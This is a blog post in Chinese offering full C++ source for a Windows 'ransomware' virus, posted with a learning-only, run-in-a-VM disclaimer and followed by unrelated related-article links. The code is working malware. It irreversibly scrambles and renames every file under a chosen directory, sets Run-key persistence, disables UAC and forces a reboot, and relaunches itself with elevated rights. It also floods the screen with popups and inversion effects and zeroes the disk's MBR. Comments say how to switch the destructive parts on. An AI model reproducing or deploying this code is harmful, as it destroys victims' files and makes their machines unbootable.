当前位置: 首页 > article >正文

C++小病毒-1.0勒索(更新次数:2)

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作

在C++20环境下,并在虚拟机里运行此代码!,病毒带来后果自负!

使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main()


#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include <string>
#include <filesystem>
#include <signal.h>
#include <csignal>
#include <shlwapi.h>
#include <shcore.h>
#include <thread> 
#include <graphics.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
namespace fs = std::filesystem;
const int screenWidth = GetSystemMetrics(SM_CXSCREEN);
const int screenHeight = GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string& filename) {
    size_t pos = filename.find_last_of('.');
    std::string newFilename;
    if (pos != std::string::npos) {
        newFilename = filename.substr(0, pos) + ".人丰NB人丰666";
    }
    else {
        newFilename = filename + ".人丰NB人丰666";
    }
    try {
        fs::rename(filename, newFilename);
        std::cout << "文件已加密为: " << newFilename << std::endl;
    }
    catch (const fs::filesystem_error& e) {
        std::cerr << "重命名文件时出错: " << e.what() << std::endl;
    }
}
void flashWindow(const std::string& filename) {
    std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);
    if (!file) {
        std::cerr << "无法打开文件: " << filename << std::endl;
        return;
    }

    try {
        file.seekg(0, std::ios::end);
        std::streamsize size = file.tellg();
        file.seekg(0, std::ios::beg);
        for (int i = 0; i < size; i++) {
            file.seekg(i, std::ios::beg);
            char byte;
            if (!file.read(&byte, sizeof(byte))) {
                std::cerr << "读取文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;
                continue;
            }
            if (i % 3 == 0) {
                byte = byte % 0x37;
                byte = (byte + 0x10) % 0xFF;
            }
            if (i % 3 == 1) {
                byte = byte % 0x43;
                byte = (byte + 0x20) % 0xFF;
            }
            if (i % 3 == 2) {
                byte = byte % 0x71;
                byte = (byte + 0x30) % 0xFF;
            }
            file.seekp(i, std::ios::beg);
            if (!file.write(&byte, sizeof(byte))) {
                std::cerr << "写入文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;
                continue;
            }
        }
    }
    catch (...) {
        std::cerr << "文件加密过程出现异常" << std::endl;
    }
    file.close();
    writeWordName(filename);
}
void scanDirectory(const std::string& path) {
    for (const auto& entry : fs::recursive_directory_iterator(path)) {
        if (entry.is_regular_file()) {
            flashWindow(entry.path().string());
        }
    }
}
void WriteStart()//开机自启动
{
    char path[MAX_PATH]; HKEY hKey;
    DWORD length = GetModuleFileNameA(NULL, path, MAX_PATH);
    LONG result; result = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &hKey);
    const TCHAR* valueName = TEXT("MyApp");
    const TCHAR* valueData = TEXT(path);
    result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) + 1) * sizeof(TCHAR));
    RegCloseKey(hKey);
}
void GetWordNameAndStart() {
    char buffer[MAX_PATH];
    if (GetModuleFileName(NULL, buffer, MAX_PATH) > 0) {
        std::string str(buffer);
        LPCTSTR path = str.c_str();
        HINSTANCE result = ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);
        if ((int)result <= 32) {
            std::cerr << "打开文件失败,错误码: " << (int)result << std::endl;
        }
    }
}
BOOL SetProcessCtrlHandler() {
    return SetConsoleCtrlHandler([](DWORD dwCtrlType) -> BOOL {
        switch (dwCtrlType) {
        case CTRL_C_EVENT:
        case CTRL_BREAK_EVENT:
        case CTRL_CLOSE_EVENT:
        case CTRL_LOGOFF_EVENT:
        case CTRL_SHUTDOWN_EVENT:
            GetWordNameAndStart();
            return TRUE;
        default:
            return FALSE;
        }
        }, TRUE);
}
void createFileWithContent_1MB(const std::string& filePath) {
    const int fileSize = 1048576;
    std::vector<char> buffer(fileSize, '0');
    std::ofstream file(filePath, std::ios::binary);
    if (file.is_open()) {
        file.write(buffer.data(), fileSize);
        file.close();
    }
    else {
        std::cerr << "无法创建文件: " << filePath << std::endl;
    }
}
void CreateFileTo(const std::string& path, const int& SUM, const std::string& WordName) {
    for (int i = 0; i < SUM; ++i) {
        std::string folderPath = path + "\\" + WordName + std::to_string(i);
        // 创建文件夹
        if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()) {
            // 设置文件夹为隐藏属性
            SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);
            int RandSum = rand();
            // 创建文件并写入内容
            std::string filePath = folderPath + "\\人丰NB人丰666.人丰NB人丰666" + std::to_string(RandSum);
            createFileWithContent_1MB(filePath);
        }
        else {
            std::cerr << "无法创建文件夹: " << folderPath << std::endl;
        }
    }
}
bool Kill_AntivirusSoftware() {
    return false;
}
void display_run_moveWindows(HWND hWnd) {
    SetProcessDPIAware();
    srand(static_cast<unsigned int>(time(NULL))); // 初始化随机数种子
    RECT rect;GetWindowRect(hWnd, &rect);
    int windowWidth = rect.right - rect.left;
    int windowHeight = rect.bottom - rect.top;
    // 生成随机位置,确保窗口不会超出屏幕范围
    while (true) {
        int newX = rand() % screenWidth;
        int newY = rand() % screenHeight;
        MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);
        Sleep(1000);
    }
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
    thread myThread21(display_run_moveWindows,hwnd);
    myThread21.detach(); // 分离子线程
    return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {
    while (true)
    {
        if(i==1) MessageBox(NULL,"鸡你太美","鸡你太美", MB_OK);
        if(i==2) MessageBox(NULL,"你干嘛~,哎呦~", "你干嘛~,哎呦~", MB_OK);
        if(i==3) MessageBox(NULL, "360安全卫生为您守护电脑", "360安全卫生为您守护电脑", MB_OK);
        if(i==4) MessageBox(NULL, "大家好,我是练习时长两年半的个人练习生-蔡徐坤", "大家好,我是练习时长两年半的个人练习生-蔡徐坤", MB_OK);
    }
}
void MessageBox_ZYNTM_CTRL() {
    while (true) {
        thread myThread31(MessageBox_ZYNTM_RUN,1);
        thread myThread32(MessageBox_ZYNTM_RUN,2);
        thread myThread33(MessageBox_ZYNTM_RUN,3);
        thread myThread34(MessageBox_ZYNTM_RUN,4);
        myThread31.detach();
        myThread32.detach();
        myThread33.detach();
        myThread34.detach();
        Sleep(350);
    }
}
void Windows_music() {
    while (true)
    {
        Beep(375,300);
        Beep(500,300);
    }
}
void DrawFullscreenRectangle() {//在桌面上画图
    // 获取屏幕设备上下文句柄
    SetProcessDPIAware();
    HDC hdcScreen = GetDC(NULL);
    if (hdcScreen == NULL) {
        std::cerr << "无法获取屏幕设备上下文句柄。" << std::endl;
        return;
    }
    // 获取屏幕的宽度和高度
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    // 创建一个与屏幕兼容的内存设备上下文
    HDC hdcMem = CreateCompatibleDC(hdcScreen);
    if (hdcMem == NULL) {
        std::cerr << "无法创建内存设备上下文。" << std::endl;
        ReleaseDC(NULL, hdcScreen);
        return;
    }

    // 创建一个 DIB 位图
    BITMAPINFO bmi;
    ZeroMemory(&bmi, sizeof(BITMAPINFO));
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmi.bmiHeader.biWidth = screenWidth;
    bmi.bmiHeader.biHeight = -screenHeight; // 负高度表示底部 - 顶部顺序
    bmi.bmiHeader.biPlanes = 1;
    bmi.bmiHeader.biBitCount = 32;
    bmi.bmiHeader.biCompression = BI_RGB;

    void* pBits;
    HBITMAP hBitmap = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
    if (hBitmap == NULL) {
        std::cerr << "无法创建 DIB 位图。" << std::endl;
        DeleteDC(hdcMem);
        ReleaseDC(NULL, hdcScreen);
        return;
    }

    // 选入位图到内存设备上下文
    HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdcMem, hBitmap);

    // 将屏幕内容复制到内存设备上下文中
    BitBlt(hdcMem, 0, 0, screenWidth, screenHeight, hdcScreen, 0, 0, SRCCOPY);

    // 直接操作位图数据进行反色
    DWORD* pPixel = (DWORD*)pBits;
    for (int i = 0; i < screenWidth * screenHeight; i++) {
        *pPixel = RGB(255 - GetRValue(*pPixel), 255 - GetGValue(*pPixel), 255 - GetBValue(*pPixel));
        pPixel++;
    }
    for (int i = 0; i < 100; i++) {
        // 将反色后的内容复制回屏幕
        BitBlt(hdcScreen, 0, 0, screenWidth, screenHeight, hdcMem, 0, 0, SRCCOPY);
        Sleep(10);
    }

    // 恢复原始位图
    SelectObject(hdcMem, hOldBitmap);

    // 释放资源
    DeleteObject(hBitmap);
    DeleteDC(hdcMem);
    ReleaseDC(NULL, hdcScreen);
}
void window_display_run() {//中毒视觉效果
    thread myThread13(Windows_music);
    myThread13.detach();//放音乐
    Sleep(3000);
    for (int i = 0; i < 15; i++) {
        thread myThread14(DrawFullscreenRectangle);
        myThread14.join();//屏幕反色
    }
    thread myThread12(MessageBox_ZYNTM_CTRL);
    myThread12.detach();
    while (true) {
        thread myThread11(EnumWindows, EnumWindowsProc, 0);
        myThread11.join();
        thread myThread14(DrawFullscreenRectangle);
        myThread14.join();//屏幕反色
        Sleep(350);
    }
}
bool isUACDisabled() {//检查UCA
    HKEY hKey;
    DWORD uacLevel = 0;
    DWORD size = sizeof(DWORD);

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        if (RegQueryValueEx(hKey, "EnableLUA", NULL, NULL, (LPBYTE)&uacLevel, &size) == ERROR_SUCCESS) {
            RegCloseKey(hKey);
            if (uacLevel == 0) {
                return true;
            }
            else {
                return false;
            }
        }
        else {
            std::cerr << "Failed to query UAC level. Error code: " << GetLastError() << std::endl;
            RegCloseKey(hKey);
            return false;
        }
    }
    else {
        std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;
        return false;
    }
}
bool setUACLevelToHigh() {//关闭UCA
    if (isUACDisabled() == true)return true;
    HKEY hKey;
    DWORD newValue = 0;
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        if (RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD)) == ERROR_SUCCESS) {
            RegCloseKey(hKey);system("shutdown /r /t 0");
            return true;}
        else {
            std::cerr << "Failed to set EnableLUA value. Error code: " << GetLastError() << std::endl;
            RegCloseKey(hKey);
            return false;}}
    else {
        std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;
        return false;}
}
bool elevateToAdmin() {
    if(setUACLevelToHigh()==false)
        if (setUACLevelToHigh() == false)
        {cout << "I'm sorry,Are you OK?"; }
    BOOL isAdmin = FALSE;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;
    if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {
            isAdmin = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }
    if (isAdmin == false) {
        char szPath[MAX_PATH];
        GetModuleFileNameA(NULL, szPath, MAX_PATH);  // 使用 GetModuleFileNameA 处理 ANSI 字符串
        std::string commandLine = "\"" + std::string(szPath) + "\"";
        LPSTR szCommandLine = const_cast<LPSTR>(commandLine.c_str());
        SHELLEXECUTEINFOA sei = { sizeof(SHELLEXECUTEINFOA) };
        sei.lpVerb = "runas";  // 请求管理员权限
        sei.lpFile = szPath;
        sei.lpParameters = NULL;
        sei.lpDirectory = NULL;
        sei.nShow = SW_SHOWNORMAL;
        sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;
        if (!ShellExecuteExA(&sei)) {
            std::cerr << "Failed to restart as administrator." << std::endl;
            return false;
        }
        else {
            exit(0);
            return true;
        }
    }
    std::cout << "This program is running with administrative privileges." << std::endl;
    return true;
}
void Modify_the_Registry_Editor() {
   // 致命代码阻止编译文字(编译时请删除或注释掉这段文字)
    HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cerr << "无法打开磁盘设备。错误代码: " << GetLastError() << std::endl;
        return ;
    }

    BYTE mbr[512] = { 0 };

    // 将修改后的 MBR 写回磁盘
    DWORD bytesWritten;
    if (!WriteFile(hDevice, mbr, 512, &bytesWritten, NULL)) {
        std::cerr << "无法写入 MBR。错误代码: " << GetLastError() << std::endl;
        CloseHandle(hDevice);
        return ;
    }
    CloseHandle(hDevice);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    srand((time(0)));
    //thread myThread2(WriteStart); //注册表开机自启动
    //myThread2.join(); //设置成功后
    //if (elevateToAdmin() == false)//尝试升级为管理员
    //    if (elevateToAdmin() == false)
    //        cout << "Are you ok? Are you fine ?";

    // thread myThread(CreateFileTo,"F:\\本地磁盘C",10,"54088");//创建垃圾文件占用内存
    // thread myThread3(scanDirectory,"F:\\本地磁盘C");//加密文件
    thread myThread4(window_display_run); //病毒桌面特效
    //thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件

    
    //以下是主进程区域

 
    //SetProcessCtrlHandler();//关掉重启项



    //以上是主进程区域
    


    //myThread.join(); 
   // myThread3.join();
     myThread4.join();
   // myThread5.join();
    while (1);
    return 0;
}


http://www.kler.cn/a/520160.html

相关文章:

  • Qt Designer and Python: Build Your GUI
  • JAVA:利用 Content Negotiation 实现多样式响应格式的技术指南
  • SAP新增公司间交易的配置点---SD部分内容
  • TCP/IP 协议:互联网通信的基石
  • [RoarCTF 2019]Easy Calc1
  • opengrok_使用技巧
  • WPF实战案例 | C# WPF实现大学选课系统
  • salesforce 可以 outbound profile 吗
  • Mac 上如何同时运行多个MySQL版本?
  • 基于微信小程序的停车场管理系统设计 停车场微信小程序的设计与实现 (源码+文档)
  • 2025年危化品经营单位生产管理人员考试真题附答案
  • 【Elasticsearch】doc_values 可以用于查询操作
  • Pyecharts之散点图的视觉扩展
  • C语言初阶力扣刷题——349. 两个数组的交集【难度:简单】
  • AJAX RSS Reader:技术解析与应用场景
  • ESMC-600M蛋白质语言模型本地部署攻略
  • 【C++高并发服务器WebServer】-2:exec函数簇、进程控制
  • 【2024年华为OD机试】(A卷,100分)- 货币单位换算 (JavaScriptJava PythonC/C++)
  • AI Agent的测试与监控:保障稳定性的实战经验
  • VSCode 中的 Git Graph扩展使用详解
  • MapReduce,Yarn,Spark理解与执行流程
  • 【Android】布局文件layout.xml文件使用控件属性android:layout_weight使布局较为美观,以RadioButton为例
  • 私有包上传maven私有仓库nexus-2.9.2
  • FreeRtos的使用教程
  • 宏_wps_宏修改word中所有excel表格的格式_设置字体对齐格式_删除空行等
  • STM32-时钟树